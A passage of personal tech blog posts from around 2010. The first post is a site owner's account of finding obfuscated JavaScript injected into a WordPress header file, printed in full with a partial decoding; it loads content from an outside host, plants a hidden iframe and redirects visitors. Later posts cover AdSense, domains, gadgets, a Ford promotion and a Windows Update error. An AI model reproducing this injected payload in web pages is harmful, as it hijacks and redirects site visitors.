If you happened to read my article about my Google AdSense CTR decreasing over the past few months, you may have been wondering why it was dropping so much. Well, I finally started looking into the code of my blog and I found that my site was hacked. The header.php file had some Javascript add/injected into it. The following is the code that was found in my header file:

<script language=javascript>document.write(unescape(‘%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E’));dF(‘%264Dtdsjqu%264Fepdvnfou/xsjuf%2639%2633%264Dtdsjqu%2631tsd%264E%266D%2633%2633%2C%2633iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G3%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ
%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2633%2C%2633%266D%2633%264F%264D%266D0tdsjqu%264F%2633%263%3A%264C%264D0tdsjqu%264F%261B%264Dtdsjqu%264F%261Bjg%2639uzqfpg%2639i%263%3A%264E%264E%2633voefgjofe%2633%263%3A%268C%261%3A%261B%261%3Aepdvnfou/xsjuf%2639%2633%264Djgsbnf%2631tsd%264E%2638iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G4%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ
%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2638%2631xjeui%264E2%2631ifjhiu%264E2
%2631cpsefs%264E1%2631gsbnfcpsefs%264E1%264F%264D0jgsbnf%264F%2633%263%3A%264C%2631%261B%268E%261Bfmtf%2631jg%2639i/joefyPg%2639%2633iuuq%264B%2633%263%3A%264E%264E1%263%3A%268C%261B%261%3A%261%3Axjoepx/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1′)</script>

Put this into a URL decoder and you get the following:

<script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}</script>

dF('&4Dtdsjqu&4Fepdvnfou/xsjuf&39&33&4Dtdsjqu&31tsd&4E&6D&33&33,
&33iuuq&4B00jutbmmcsfbltpgu/ofu0uet0jo/dhj&4G3&37tfpsfg&4E&33,
fodpefVSJDpnqpofou&39epdvnfou/sfgfssfs&3:,&33&37qbsbnfufs&4E
&35lfzxpse&37tf&4E&35tf&37vs&4E2&37IUUQ`SFGFSFS&4E&33
,&31fodpefVSJDpnqpofou&39epdvnfou/VSM&3:,&33&37efgbvmu`lfzxpse&4Eopuefgjof&33
,&33&6D&33&4F&4D&6D0tdsjqu&4F&33&3:&4C&4D0tdsjqu&4F&1B&4Dtdsjqu&4F&1Bjg
&39uzqfpg&39i&3:&4E&4E&33voefgjofe&33&3:&8C&1:&1B&1:epdvnfou/xsjuf&39&33
&4Djgsbnf&31tsd&4E&38iuuq&4B00jutbmmcsfbltpgu/ofu0uet0jo/dhj&4G4&37tfpsfg&4E&33,fodpefVSJDpnqpofou&39epdvnfou/sfgfssfs&3:,&33&37qbsbnfufs&4E&35lfzxpse&37tf&4E&35tf&37vs&4E2&37IUUQ
`SFGFSFS&4E&33,&31fodpefVSJDpnqpofou&39epdvnfou/VSM&3:,&33&37efgbvmu
`lfzxpse&4Eopuefgjof&38&31xjeui&4E2&31ifjhiu&4E2&31cpsefs&4E1
&31gsbnfcpsefs&4E1&4F&4D0jgsbnf&4F&33&3:&4C&31&1B&8E&1Bfmtf
&31jg&39i/joefyPg&39&33iuuq&4B&33&3:&4E&4E1&3:&8C&1B&1:&1:xjoepx/mpdbujpo&4Ei&4C&1B&8E&1B&4D0tdsjqu&4F1')

These bastards put some code into the header of my site that would end up redirecting all of my users after 5-15 seconds. Each time, I’d end up losing the traffic, and in turn, the potential for AdSense revenue. I thought that my decreasing Google AdSense CTR was just a sign of the time, turns out otherwise. It turns out my ads just weren’t being displayed long enough to be seen by my users. If they’re only displayed for a few seconds, the chances are they aren’t going to be viewed by as many users. I’ll be updating everyone on

Has anyone else had their Wordpress site hacked like this before? Have you found out how the hackers got into your site?

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2010 had been great in terms of AdSense revenue through the month of January, but once February rolled around, I noticed a huge drop in my CTR. In January 2009, my AdSense CTR for all of the sites I manage and work with was nearly double digits. I understand that this isn’t typical, but it had been like that for well over a year. Toward the end of 2o09. Over the past year, my CTR had fallen to about half of what it was, then in the past month, it’s fallen to about half of that. What gives? The site is the same, I still get the same amount off traffic, if not more, but my CTR is turning into garbage!

Update – CTR Problem Solved

I found out that my site was hacked. After about 10-15 seconds, my site would redirect based on some javascript code that was injected into it. Read more about how my Wordpress was hacked, read here.

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With the announcement of the iPad and the scheduled launch in March, this will bring the new iPhone OS 3.2. Since the iPad runs on the iPhone OS, the release of the iPad will almost certainly coincide with the release of the iPhone OS 3.2 software.

If you’re looking to update your iPhone before everyone else gets to, sign up for the developer program. Unlike past iPhone OS releases, I have not heard anything about the new features. Has anyone heard any information about the new iPhone 3.2 OS features? Anything new and exciting?

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Awhile back, I registered a few domains at Yahoo! Small Business because they were offering an unbeatable deal at the time. I registered 3 domains for 10 years at $1.99/year or something absurd like that. The problem is that I have about 20 other domains hosted at GoDaddy.com and I’d prefer to get all of my domains over to GoDaddy, just for ease of management and access. Plus, I really like GoDaddy’s domain administration features much more than Yahoo’s domain management features.

So what’s the problem? The problem is that Yahoo! provides you no way to transfer domains away from them. At least within my account. I have found a nice little “help” page on Yahoo Small Business, however, all of the instructions on transferring the domain are unable to be followed because the links and buttons that it tells you to click within your account are not there. Here is the text from the How do I transfer my domain to a new registrar page of Yahoo Small Business Help:

How do I transfer my domain to a new registrar?

If you’d like to transfer your domain away from Yahoo!, we strongly recommend transferring your domain before you cancel. (Trust us, this will save you headaches in the long run.)

If you’re ready to transfer your domain:

1. Verify that it’s at least 60 days after your domain registration date.
   In accordance with ICANN rules, you cannot transfer your domain to another provider until 60 days after your domain registration date.
2. Make sure your domain is unlocked.
   For your security, locked domains cannot be transferred. If your domain is locked, visit your Domain Control Panel and click the “Edit Domain Locking” link. Learn more.
3. Check your administrative contact email address.
   Your new provider will send an email to your domain administrative contact to confirm your domain transfer. If you can’t receive the confirmation, you won’t be able to complete the transfer! Learn how to update your contact information.
4. Get your authorization code.
   To find your authorization code, head to your Domain Control Panel, and click the “View Your Authorization Code” link. On the following page, you’ll see your unique domain authorization code. Print this code, as you’ll need it to give to your new provider. Learn more.
5. Contact your new provider.
   When you’re ready, contact your new provider to begin the transfer process. Be sure to have your authorization code handy, as your new provider will need it to verify the move.
6. Cancel your plan.
   Once your transfer is complete, we’ll send you an email confirming the transfer. (You can also check this status with your new provider. The transfer should be complete in five to nine days.) When you receive this confirmation, you may cancel your plan. Note that Yahoo! does not automatically cancel your service when you transfer your domain.

Note: Some hosting providers cannot manage domain registrations. If you’d still like to use your domain with this kind of provider, you can redirect, or redelegate, your Yahoo! name servers to point to that provider. In this case, do not cancel your plan, as you’ll need it to continue managing your domain through Yahoo!; instead you may downgrade to a Yahoo! Domains plan.

The above page can be found at: http://help.yahoo.com/l/us/yahoo/smallbusiness/domains/authcode/authcode-04.html

If you have dealt with Yahoo and transferring domains away from them, I’d love to hear your comments and input. I can’t stand using their interface and would love to get my domains away from them ASAP. Please help!

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Every year, California Ford dealerships and Mammoth Mountain team up to offer free lift tickets for test driving any new Ford car, truck or SUV. This was the first year that I actually decided to try it out, so I stopped by a local Ford dealership on my way home from the office last night because lift tickets cost $87/day for the 2009/2010 season at Mammoth mountain. When I started snowboarding 9 years ago, it cost $43/day, so a free lift ticket is definitely worth a test drive.

I was very straight up with the salesman, telling him that I was not interested in purchasing a car at the time, I was just looking to test drive a car to get a lift ticket. He said that was fine, and asked what car I wanted to drive. I asked if he could just give me a ticket so I wasn’t wasting his time and he told me that Ford requires that I take a test drive, so I hopped in a new Ford Edge and took it for a spin. Upon returning to the lot, I left a copy of my license and an email address, the ticket is supposed to be emailed to you after test driving. I unfortunately haven’t received anything yet. It’s been about 18 hours since my test drive and I haven’t seen a ticket.

My brother went in to a different dealership and got a ticket no problem. Just chatted up a sales rep for a bit and didn’t even have to test drive. They just hooked him up with a ticket.

Update
I’m on the phone with the dealership right now, trying to get my ticket. They’re going to double check the ticket for me, “the site was down” last night and they “were having problems with it”.

Update 2
I have still not received my free lift ticket email from Ford after 5 days. I’ve repeatedly called the dealership and been given the run around by all of the sales people. I ended up sending an email to Ford Corporate about the false advertising: Test drive any Ford and receive a free lift ticket to Mammoth Mountain. Corporate was not help either. Here was the response that I got from Ford Corporate:

Thank you for contacting Ford Motor Company on 1/27/2010 09:29:55 PM. We appreciate the time you have taken to write us.

Unfortunately, due to the fact that the lift ticket promotion is a regional offer, we do not have any information on them. Your local dealers are the best and only source for information on them.

Thank you for contacting Ford Motor Company.

Sincerely,
Dustin
Ford Motor Company
Ford Marketing Program Headquarters

How long does it take to get the lift ticket from Ford after the test drive? The few people who have received them say that they come via email almost immediately. I have been waiting 5 days with no luck.

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When I got into the office this morning, I noticed that Apple stock price had jumped nearly 5%. Upon doing a little bit of research, I noticed that there is a planned announcement of  a new device in the near future, the Apple tablet – which has a host of potential nicknames, including the iTablet, the iSlate or the iPad. Whatever name Apple chooses to use for the new tablet, there is one thing for certain – it will probably revolutionize the way that tablet PC’s work.

I’m sure that Apple has probably spent a ton of time researching the best way for a tablet PC to operate and I’m more than certain that the Apple tablet will be like nothing we’ve seen before, just like the iPhone when it was initially released.

It is said that the Apple tablet will have the potential to revitalize the newspaper industry by allowing digital or virtual subscriptions. The Apple tablet will also have the potential to push the Amazon Kindle and the Barnes & Noble Nook out of the marketplace because it will be so much more powerful, though the price tag will also be a lot higher than that of the Kindle or Nook.

Whatever the new Apple tablet does, one thing is for certain… it will add to Apple’s already great line of consumer devices.

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I tried going to the PayPal website to make a donation to Haiti, but there wasn’t a simple “Click Here to Donate” that allows you to select the charity that you want to donate to. I would think that more charities would begin accepting PayPal because there are so many users out there who have a balance just sitting in their PayPal account.

One charity that does accept PayPal payments is Save the Children. You can go to this page to make a donation to Save the Children using PayPal, or you can just go to www.savethechildren.org and find the link by browsing through their site.

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When trying to update my Windows Server machines using the built-in Windows Update I had noticed that there was a single update that had erroring out time and time again. I finally decided that I should do something about it to resolve the problem so I began searching the internet and Microsoft’s site to see if there was a solution to the Windows Update error 80070490. Turns out, there was a problem with the Windows Update system installing the error. The quick and easy work-around was to download the update individually from Microsoft and install it singularly.

Here is the link to the download page (this is for the 64-bit version, if you have a 32-bit system, you’ll need to find and download the file for your 32-bit system):
Security Update for Windows Server 2008 x64 Edition (KB967723)

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I’ve recently been looking into off-site storage and backup solutions for both personal and business data. There are many free options out there that offer up to 2GB of data, which is nice for storing some working files and/or current projects, but that isn’t even close to enough storage space for most of us when we consider all of the music, pictures, videos and other media that we all have to store and backup.

I had heard a lot of stuff about Google’s GDrive back in late 2008 and early 2009, but all the talk and hype seems to have faded away. I couldn’t help but think about it recently when I received an email from Google about storage space and the new low cost that they are offering. Google is now offering 200GB of storage for $50/year, plus they’re going to throw in a free EyeFi card. Could this be a sign of things to come? Is it possible that Google would be offering a first look at GDrive to it’s paying customers? My guess is yes, but as with Apple, it is always impossible to speculate what Google is going to do.

Purchasing storage space from Google is nice, because it will be shared across all of your accounts (Picasa, Gmail, etc). Here are their new pricing options for additional storage space:

Select a plan:

20 GB ($5.00 USD per year)

80 GB ($20.00 USD per year)

200 GB ($50.00 USD per year) includes free Eye-Fi card

400 GB ($100.00 USD per year) includes free Eye-Fi card

1 TB ($256.00 USD per year) includes free Eye-Fi card

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If you’re a Gmail user (which many of us are now), or if you have a friend or family member who is heavily into Gmail, you might want to take a look at the GBoard this holiday season. The GBoard is a keypad made specifically to integrate into GMail and its shortcut keys.

Using the GBoard is simple, as it connects via USB. Setting it up just requires 2 steps… only 1 step if you already have shortcuts enabled in GMail. If you already have shortcuts enabled in Gmail, simply plug the GBoard into your USB and you’re all set. If you don’t already have Keyboard shortcuts enabled, you’ll need to enable keyboard shortcuts in your GMail settings. That’s it! You’ll be all setup and ready to run your GBoard immediately!

GBoard the Keypad Specifically for Heavy Gmail Users

• Q: what is the Gboard?
• A: the Gboard is a unique keyboard designed to turbo-charge your Gmail ™ experience. we’ve put what we feel are the most useful Gmail ™ shortcuts together in one convenient place, with icons and colors to help you access the Gmail™ shortcuts fast.
• Q: is the Gboard perfect?
• A: no. for example there are times when you’ll need to use the ESC key to exit an input field before using the Gboard keys (just as you would using shortcuts on your primary keyboard).
• Q: is the Gboard affiliated with Google?
• A: no. the Gboard works with Gmail ™, but it is in no way affiliated with Google, Inc. Google™, Gmail™ and their respective logos are the property of Google, Inc.
• Q: what do i need to use the Gboard?
• A: the Gboard works with both Mac and PC. anyone using Gmail ™ with a qualified web browser and a USB port can use the Gboard.
• Q: is there any software to install?
• A: no. software isn’t necessary with the Gboard. it operates using the built-in capabilites of your operating system and browser.
• Q: is it easy?
• A: yes. as you learn how shortcuts work, and how the Gboard can help you make the most of them, you’ll be a pro in no time using all the Gmail ™ shortcuts without even looking.
• Q: any instructions for this thing?
• A: the Gboard is mostly self-explanatory, but we’ve created a help area to help you get started. Happy Gmail ™ shortcutting.

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